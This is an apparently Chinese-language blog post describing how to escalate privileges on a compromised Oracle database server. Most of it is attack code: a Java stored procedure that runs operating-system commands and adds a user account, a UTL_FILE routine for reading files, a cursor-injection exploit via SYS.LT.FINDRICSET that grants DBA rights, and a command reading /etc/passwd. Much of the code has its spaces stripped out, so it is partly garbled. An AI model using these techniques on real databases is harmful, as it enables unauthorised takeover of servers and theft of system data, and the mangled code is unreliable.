以下的文章主要介绍的是入侵Oracle服务器的进一步获取想过关权限,我们可以很快的连接上Oracle数据库服务器,此时你会发现:以下的几种情况,即,连接后不是dba权限,还有不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升权限。
还有的一种情况就是运行SELECT UTL_HTTP.request(‘http://xxxxxxxxxxx/login.jsp’) FROM dual 后发现Oracle服务器不能连接网络。
幸运的是,
运行
createorreplacefunctionLinx_Query(pvarchar2) returnnumberauthidcurrent_userisbeginexecuteimmediatep;return1;end;
成功!这个用户具有create proceduce权限。
此时马上想到创建java扩展执行命令:
createorreplaceandcompilejavasourcenamed“LinxUtil”asimportjava.io.*; publicclassLinxUtilextendsObject{publicstaticStringrunCMD(Stringargs) {try{BufferedReadermyReader=newBufferedReader (newInputStreamReader(Runtime.getRuntime().exec(args).getInputStream())); Stringstemp,str=”";while((stemp=myReader.readLine())!=null)str+=stemp+” “;myReader.close();returnstr;}catch(Exceptione){returne.toString();}}} begindbms_java.grant_permission(‘PUBLIC’,‘SYS:java.io.FilePermission’,‘<>’,‘execute’);end; createorreplacefunctionLinxRunCMD(p_cmdinvarchar2)returnvarchar2aslanguagejavaname ‘LinxUtil.runCMD(java.lang.String)returnString’ select*fromall_objectswhereobject_namelike‘%LINX%’ grantallonLinxRunCMDtopublic selectLinxRunCMD(‘cmd/cnetuserlinx/add’)fromdual
但是在第一步就卡住了,Oracle服务器由于某种未知原因 不能创建java扩展!!
还好,我们还有UTL库可以利用:
createorreplacefunctionLinxUTLReadfile (filenamevarchar2)returnvarchar2is fHandlerUTL_FILE.FILE_TYPE; bufvarchar2(4000); outputvarchar2(8000); BEGIN fHandler:=UTL_FILE.FOPEN(‘UTL_FILE_DIR’,filename,‘r’); loop begin utl_file.get_line(fHandler,buf); DBMS_OUTPUT.PUT_LINE(‘Cursor:‘||buf); exception whenno_data_foundthenexit; end; output:=output||buf||chr(10); endloop; UTL_FILE.FCLOSE(fHandler); returnoutput; END;
UTL_FILE_DIR需要先用:
CREATEORREPLACEDIRECTORYUTL_FILE_DIRAS‘/etc’;
指定目。但运行后发现没有权限。只好想办法提权。
游标注射
老外写了N个pdf介绍这技术,我精简了代码:
DECLARE MYCNUMBER; BEGIN MYC:=DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(MYC,’declarepragmaautonomous_transaction; beginexecuteimmediate”GRANTDBATOlinxlinx_current_db_user”;commit;end;’,0); DBMS_OUTPUT.PUT_LINE(‘Cursor:‘||MYC); BEGINSYS.LT.FINDRICSET(‘.”||dbms_sql.execute(‘||MYC||’)||””)–’,'x’);END; raiseNO_DATA_FOUND; EXCEPTION WHENNO_DATA_FOUNDTHENDBMS_OUTPUT.PUT_LINE(‘Cursor:‘||MYC); WHENOTHERSTHENDBMS_OUTPUT.PUT_LINE(‘Cursor:‘||MYC); END;
运行后重新连接就有dba权限了,简单吧……
现在可以读取文件了:
CREATEORREPLACEDIRECTORYUTL_FILE_DIRAS‘/etc’; selectLinxUTLReadfile(‘passwd’)fromdual
后面就简单了,不写了。
相关文章
标签:Oracle